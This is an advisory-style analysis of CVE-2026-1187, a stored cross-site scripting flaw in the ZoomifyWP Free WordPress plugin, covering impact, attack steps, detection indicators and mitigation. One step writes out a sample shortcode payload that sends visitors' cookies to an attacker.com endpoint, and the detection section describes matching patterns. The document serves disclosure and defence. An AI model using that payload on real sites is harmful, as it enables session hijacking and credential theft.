CVE-2026-1187: 
WordPress vulnerability analysis and mitigation

CVE-2026-1187 is a Stored Cross-Site Scripting (XSS) vulnerability in the ZoomifyWP Free plugin for WordPress. It affects all versions up to and including 1.1, stemming from insufficient input sanitization and output escaping on the filename parameter of the zoomify shortcode. Authenticated attackers with Contributor-level access or above can inject arbitrary web scripts into pages that execute when any user visits the affected page. It was published on February 14, 2026, and carries a CVSS v3.1 base score of 6.4 (Medium) (RedHat CVE, Wordfence).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The vulnerability exists because the filename parameter passed to the zoomify shortcode is not properly sanitized before being rendered in the page output, allowing malicious script content to be stored in the database and later served to site visitors. Exploitation requires the attacker to have at minimum Contributor-level WordPress authentication, after which they can embed a crafted shortcode containing a malicious payload in a post or page (RedHat CVE, Wordfence).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of users who visit the injected page, with a changed scope affecting other users beyond the attacker's own session. This can lead to session cookie theft, credential harvesting, redirection to malicious sites, or defacement of site content. While confidentiality and integrity impacts are rated low and availability is unaffected, the persistent (stored) nature of the XSS means all visitors to the compromised page are at risk until the payload is removed (RedHat CVE).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2026-1187 as of the available data. The EPSS score is approximately 0.03%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation is constrained by the requirement for at least Contributor-level authentication on the target WordPress site (Wordfence).

1. Reconnaissance: Identify WordPress sites running the ZoomifyWP Free plugin version 1.1 or earlier using tools like WPScan or by inspecting plugin directories.
2. Obtain Contributor Access: Register or compromise an account with at least Contributor-level privileges on the target WordPress site.
3. Craft Malicious Shortcode: Create or edit a post/page and insert a zoomify shortcode with a malicious filename parameter, e.g., [zoomify filename="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish Content: Submit or save the post/page so the malicious payload is stored in the WordPress database.
5. Trigger Execution: When any site visitor (including administrators) loads the injected page, the stored script executes in their browser, enabling session hijacking, credential theft, or further attacks (RedHat CVE, Wordfence).

• Database/Content: WordPress posts or pages containing [zoomify filename="<script> or similar script-injected shortcode patterns in the wp_posts table.
• Logs: Web server access logs showing requests to pages with unusual or encoded content in shortcode parameters; WordPress audit logs recording post edits by Contributor-level users inserting zoomify shortcodes with non-image filename values.
• Network: Outbound browser requests from site visitors to unexpected external domains (e.g., attacker-controlled cookie-harvesting endpoints) originating from page loads on the affected WordPress site.
• Browser/Client: Unexpected JavaScript execution or redirects when visiting specific WordPress pages containing the zoomify shortcode.

Site administrators should update the ZoomifyWP Free plugin to a version beyond 1.1 that addresses this vulnerability, once a patched release is available from the plugin developer. In the interim, disabling or removing the ZoomifyWP Free plugin entirely eliminates the attack surface. Additionally, restricting Contributor-level user registration and auditing existing Contributor accounts for unauthorized shortcode usage can reduce risk. WordPress administrators should also review published posts and pages for any suspicious zoomify shortcode usage (Wordfence).

Wordfence included CVE-2026-1187 in their weekly WordPress vulnerability report for the period of February 9–15, 2026, as part of routine plugin vulnerability tracking. No notable independent researcher commentary, vendor statements beyond the CVE disclosure, or significant social media discussion has been identified for this vulnerability (Wordfence).